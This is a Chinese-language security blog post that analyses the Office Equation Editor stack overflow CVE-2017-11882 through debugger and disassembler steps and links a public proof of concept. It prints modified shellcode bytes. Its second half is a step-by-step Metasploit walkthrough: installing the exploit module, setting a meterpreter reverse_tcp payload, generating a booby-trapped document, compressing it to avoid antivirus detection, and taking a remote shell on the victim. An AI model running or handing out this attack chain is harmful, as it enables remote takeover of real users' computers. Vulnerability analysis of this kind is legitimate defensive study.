一份FP名单引发的血案

  • A+
所属分类:安全新闻

    前几天朋友发了我一份FP名单,瞬间不想努力了,打开之后的我很严肃地审视这份名单,突然电脑弹了一个计算器,一番询问之后他说出实情,此文档主要是利用了office 2003的一个漏洞来代码执行的,下面就在GitHub上找到对应的漏洞编号进行分析。

一份FP名单引发的血案


简介:

poc地址:

https://github.com/embedi/CVE-2017-11882 

漏洞编号:  CVE-2017-11882

操作系统:  Windows7 32/64位专业版、Linux

软件:  office 2003 sp3 --- office 2016 都可以

工具:  OD、IDA、Python模块、msfconsole


漏洞分析:

    打开Microsoft Word 2003,快捷键Alt+i+o(插入、对象)打开Microsoft 公式 3.0,使用OD附加(附加后,线程,全部恢复,运行)快捷键 Alt+f+a,打开poc例程。(OD所有关于异常的选项去掉,插件-StrongOD-Options-Skip Some Exceptions去掉,不然无法断下),通过栈向上查找最近的函数地址

一份FP名单引发的血案

下断点重新附加。

一份FP名单引发的血案

重新加载再次进行附加。

一份FP名单引发的血案

再次进行附加发现程序在运行到WinExec时已经破坏了栈,对栈进行向上回述。

一份FP名单引发的血案

在此函数处下断点,再次进行附加程序运行观察栈已经破坏则在反汇编窗口在此函数的头部下断点,重新附加观察。

一份FP名单引发的血案

此时栈是完整的,可以断定栈的破坏点在此时程序流程点的后面进行单步跟踪(F8)观察栈的变化找出溢出点。

一份FP名单引发的血案

一份FP名单引发的血案

通过Alt+e查找溢出模块,载入IDA进行静态分析。

一份FP名单引发的血案

通过溢出点在IDA快捷键 g地址跳转F5转C代码查看分析。

一份FP名单引发的血案

分析poc的ShellCode:

在OD中查看ShellCode信息。

一份FP名单引发的血案

通过010editor进行分析:

一份FP名单引发的血案



漏洞利用:

    测试改写ShellCode运行时弹出百度网页。

一份FP名单引发的血案

关于ShellCode的改写:

在OD中的Ctrl+e进行二进制编写,注意ShellCode大小,0x30预留4字节的返回地址。

机器码:

636D642E657865202F63206578706C6F7265722E65786520687474703A2F2F62616964752E636F6D266F6D73120C4300

使用 msfconsole进行远程控制的利用

相关poc获取:

https://github.com/embedi/CVE-2017-11882

准备工作:

1. 在Linux虚拟机上运行 msfconsole

一份FP名单引发的血案

2. 使用apt update;

apt intsall metasploit-framework

3. 将cve-2017-11882.rb(漏洞模块,负责与样本通信)

在终端输入cp指令:

绝对路径拷贝:

一份FP名单引发的血案

相对路径拷贝:cd到文件所在目录

cp CVE-2017-11882.rb /usr/share/metasploitframework/modules/exploits/windows/fileformat


拷贝到相关文件夹

4. 将python脚本 CVE-2017-11882.py拷贝到桌面

开始攻击:

使用Kali Metasploit准备后门,监听程序

①. 进入metasploit-framework

命令:msfconsole 启动命令

②.搜索模块

Search cve-2017-11882

一份FP名单引发的血案

③. 使用模块:

use exploit/windows/fileformat/cve-2017-11882

一份FP名单引发的血案

④. 设置漏洞利用信息,包括payloar类型,IP(Linux使用ifconfig查看IP,Win使用ipconfig查看IP)。

一份FP名单引发的血案

set payload windows/meterpteter/reverse_tcp

一份FP名单引发的血案

show options(显示必要设置的选项,查看有无漏项)

一份FP名单引发的血案

⑤. 开始攻击 exploit。

一份FP名单引发的血案

⑥. 使用CVE-2017-11882.py脚本生成样本。

一份FP名单引发的血案

⑦. 压缩文件不然可能会被查杀

拷贝到win7 64位 专业版 使用office3 sp3打开。

⑧. 等待肉机链接

在win7打开文件显示的内容。

一份FP名单引发的血案

⑨. 链接之后使用sessions查看链接信息

一份FP名单引发的血案

⑩. 使用sessions 1 进入sessions,开始后门操作。

一份FP名单引发的血案

连接成功

⑪. 命令:shell进入shell。

一份FP名单引发的血案


漏洞总结:

1. 此漏洞是使用系统的WinExec函数开启线程的

2. 漏洞的产生是因为内存拷贝时空间大小设计时没有考虑到位产生的栈溢出淹没了原返回地址

3. 因为程序间隔较近,此漏洞的shellcode空间只用0x30大小但对于使用系统WinExec创建线程来讲已经够用

4. 此漏洞是2000年就存在的陈年漏洞但危害很大,甚至可以用来远程控制电脑。


    遇到这种来路不明的文件建议在虚拟机中打开或者自行查杀!

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: